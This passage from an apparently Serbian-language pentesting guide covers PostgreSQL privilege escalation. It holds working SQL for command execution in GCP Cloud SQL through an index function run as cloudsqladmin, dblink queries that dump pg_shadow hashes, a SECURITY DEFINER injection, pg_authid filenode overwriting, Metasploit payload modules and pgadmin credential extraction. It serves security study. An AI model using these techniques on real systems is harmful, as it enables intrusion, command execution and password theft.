U [**ovom writeup-u**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) je objašnjeno kako je bilo moguće **privesc** u Postgres GCP zloupotrebom ALTER TABLE privilegije koja je dodeljena korisniku.
|
|
|
|
Kada pokušate **dodeliti vlasništvo nad tabelom drugom korisniku**, trebalo bi da dobijete **grešku** koja to sprečava, ali očigledno je GCP dao tu **opciju korisniku postgres koji nije superkorisnik** u GCP-u:
|
|
|
|
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Povezujući ovu ideju sa činjenicom da kada se **IZVRŠE INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komande na **tabeli sa funkcijom indeksa**, **funkcija** se **poziva** kao deo komande sa **dozvolama vlasnika tabele**. Moguće je kreirati indeks sa funkcijom, dati vlasničke dozvole **superkorisniku** nad tom tabelom, a zatim izvršiti ANALYZE nad tabelom sa zlonamernom funkcijom koja će moći da izvršava komande jer koristi privilegije vlasnika.
|
|
```c
|
|
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
|
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
|
save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|
```
|
|
#### Eksploatacija
|
|
|
|
1. Počnite kreiranjem nove tabele.
|
|
2. Ubacite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksiranja.
|
|
3. Razvijte zlonamernu funkciju indeksiranja koja sadrži izvršnu naredbu, omogućavajući izvršavanje neovlašćenih komandi.
|
|
4. Izmijenite vlasnika tabele u "cloudsqladmin," koji je uloga superkorisnika GCP-a ekskluzivno korišćena od strane Cloud SQL-a za upravljanje i održavanje baze podataka.
|
|
5. Izvršite ANALIZU operaciju na tabeli. Ova radnja nateruje PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin." Kao rezultat, zlonamerna funkcija indeksiranja se poziva sa dozvolama "cloudsqladmin-a," omogućavajući izvršavanje prethodno neovlašćene shell komande.
|
|
|
|
U PostgreSQL-u, ovaj tok izgleda nekako ovako:
|
|
```sql
|
|
CREATE TABLE temp_table (data text);
|
|
CREATE TABLE shell_commands_results (data text);
|
|
|
|
INSERT INTO temp_table VALUES ('dummy content');
|
|
|
|
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
|
|
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
|
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
|
|
|
|
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
|
|
|
|
ALTER TABLE temp_table OWNER TO cloudsqladmin;
|
|
|
|
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
|
|
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
|
|
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
|
|
|
|
ANALYZE public.temp_table;
|
|
```
|
|
Zatim će tabela `shell_commands_results` sadržati izlaz izvršenog koda:
|
|
```
|
|
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
|
```
|
|
### Lokalni Login
|
|
|
|
Neke pogrešno konfigurisane postgresql instance mogu dozvoliti prijavljivanje bilo kog lokalnog korisnika, moguće je lokalno sa 127.0.0.1 koristeći **`dblink` funkciju**:
|
|
```sql
|
|
\du * # Get Users
|
|
\l # Get databases
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
port=5432
|
|
user=someuser
|
|
password=supersecret
|
|
dbname=somedb',
|
|
'SELECT usename,passwd from pg_shadow')
|
|
RETURNS (result TEXT);
|
|
```
|
|
{% hint style="warning" %}
|
|
Imajte na umu da bi prethodni upit radio **funkcija `dblink` mora postojati**. Ako ne postoji, možete pokušati da je kreirate sa
|
|
```sql
|
|
CREATE EXTENSION dblink;
|
|
```
|
|
{% endhint %}
|
|
|
|
Ako imate lozinku korisnika sa više privilegija, ali korisniku nije dozvoljeno da se prijavi sa spoljne IP adrese, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
|
|
```sql
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
user=someuser
|
|
dbname=somedb',
|
|
'SELECT usename,passwd from pg_shadow')
|
|
RETURNS (result TEXT);
|
|
```
|
|
Moguće je proveriti da li ova funkcija postoji sa:
|
|
```sql
|
|
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
|
```
|
|
### **Prilagođena definisana funkcija sa** SECURITY DEFINER
|
|
|
|
[U **ovom objašnjenju**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesteri su uspeli da privesc unutar postgres instanci koje je obezbedio IBM, jer su **pronašli ovu funkciju sa SECURITY DEFINER zastavicom**:
|
|
|
|
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
|
RETURNS text
|
|
LANGUAGE 'plpgsql'
|
|
<strong> VOLATILE SECURITY DEFINER
|
|
</strong> PARALLEL UNSAFE
|
|
COST 100
|
|
|
|
AS $BODY$
|
|
DECLARE
|
|
persist_dblink_extension boolean;
|
|
BEGIN
|
|
persist_dblink_extension := create_dblink_extension();
|
|
PERFORM dblink_connect(format('dbname=%s', db_name));
|
|
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
|
|
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
|
|
PERFORM dblink_disconnect();
|
|
…
|
|
</code></pre>
|
|
|
|
Kako je [**objašnjeno u dokumentaciji**](https://www.postgresql.org/docs/current/sql-createfunction.html) funkcija sa **SECURITY DEFINER** se izvršava sa privilegijama **korisnika koji je vlasnik**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili vrši **privilegovane akcije sa parametrima koje kontroliše napadač**, može biti zloupotrebljena za **escalaciju privilegija unutar postgres-a**.
|
|
|
|
Na liniji 4 prethodnog koda možete videti da funkcija ima zastavicu **SECURITY DEFINER**.
|
|
```sql
|
|
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
|
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
|
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|
```
|
|
I onda **izvršite komande**:
|
|
|
|
<figure><img src="../.gitbook/assets/image (649).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
### Provala BruteForce-om pomoću PL/pgSQL
|
|
|
|
**PL/pgSQL** je **potpuno opremljeni programski jezik** koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje **petlji** i drugih **kontrolnih struktura** radi poboljšanja logike programa. Pored toga, **SQL naredbe** i **okidači** imaju mogućnost da pozovu funkcije koje su kreirane korišćenjem **PL/pgSQL jezika**. Ova integracija omogućava sveobuhvatan i fleksibilan pristup programiranju baze podataka i automatizaciji.\
|
|
**Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da brute-force-uje korisničke podatke.**
|
|
|
|
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
|
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Povećanje privilegija pisanjem preko internih PostgreSQL tabela
|
|
|
|
{% hint style="info" %}
|
|
Sledeći vektor povećanja privilegija je posebno koristan u kontekstima ograničenih SQLi, jer se svi koraci mogu izvršiti kroz ugnježdene SELECT naredbe
|
|
{% endhint %}
|
|
|
|
Ako možete **čitati i pisati fajlove servera PostgreSQL-a**, možete **postati superkorisnik** pisanjem preko PostgreSQL on-disk filenode-a, koji je povezan sa internom tabelom `pg_authid`.
|
|
|
|
Pročitajte više o **ovoj tehnici** [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
|
|
|
|
Koraci napada su:
|
|
|
|
1. Dobijanje PostgreSQL direktorijuma sa podacima
|
|
2. Dobijanje relativne putanje do filenode-a, povezanog sa tabelom `pg_authid`
|
|
3. Preuzimanje filenode-a kroz funkcije `lo_*`
|
|
4. Dobijanje tipa podataka, povezanog sa tabelom `pg_authid`
|
|
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); postavite sve `rol*` boolean zastave na 1 za puna ovlašćenja.
|
|
6. Ponovo otpremite uređeni filenode putem funkcija `lo_*`, i prepišite originalni fajl na disku
|
|
7. _(Po želji)_ Očistite keširanu tabelu u memoriji pokretanjem skupog SQL upita
|
|
8. Sada biste trebali imati privilegije potpunog superadmina.
|
|
|
|
## **POST**
|
|
```
|
|
msf> use auxiliary/scanner/postgres/postgres_hashdump
|
|
msf> use auxiliary/scanner/postgres/postgres_schemadump
|
|
msf> use auxiliary/admin/postgres/postgres_readfile
|
|
msf> use exploit/linux/postgres/postgres_payload
|
|
msf> use exploit/windows/postgres/postgres_payload
|
|
```
|
|
### beleženje
|
|
|
|
Unutar fajla _**postgresql.conf**_ možete omogućiti postgresql zapise menjanjem:
|
|
```bash
|
|
log_statement = 'all'
|
|
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
|
logging_collector = on
|
|
sudo service postgresql restart
|
|
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
|
|
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
|
|
```
|
|
Zatim, **ponovo pokrenite servis**.
|
|
|
|
### pgadmin
|
|
|
|
[pgadmin](https://www.pgadmin.org) je platforma za administraciju i razvoj PostgreSQL baza podataka.\
|
|
Možete pronaći **šifre** unutar datoteke _**pgadmin4.db**_\
|
|
Možete ih dešifrovati koristeći funkciju _**decrypt**_ unutar skripte: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
|
```bash
|
|
sqlite3 pgadmin4.db ".schema"
|
|
sqlite3 pgadmin4.db "select * from user;"
|
|
sqlite3 pgadmin4.db "select * from server;"
|
|
string pgadmin4.db
|
|
```
|
|
### pg\_hba
|
|
|
|
Klijentska autentikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl koji se zove **pg\_hba.conf**. Ovaj fajl sadrži niz zapisa, pri čemu svaki specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), ime baze podataka, korisničko ime i metod autentikacije koji se koristi za povezivanje konekcija. Prvi zapis koji se poklapa sa tipom konekcije, adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentikaciju. Ne postoji rezervna opcija ili bekapanje ako autentikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
|
|
|
|
Dostupni metodi autentikacije zasnovani na lozinkama u pg\_hba.conf su **md5**, **crypt** i **password**. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširanje, kriptovano šifrovanje ili čisti tekst. Važno je napomenuti da metoda crypt ne može biti korišćena sa lozinkama koje su enkriptovane u pg\_authid.
|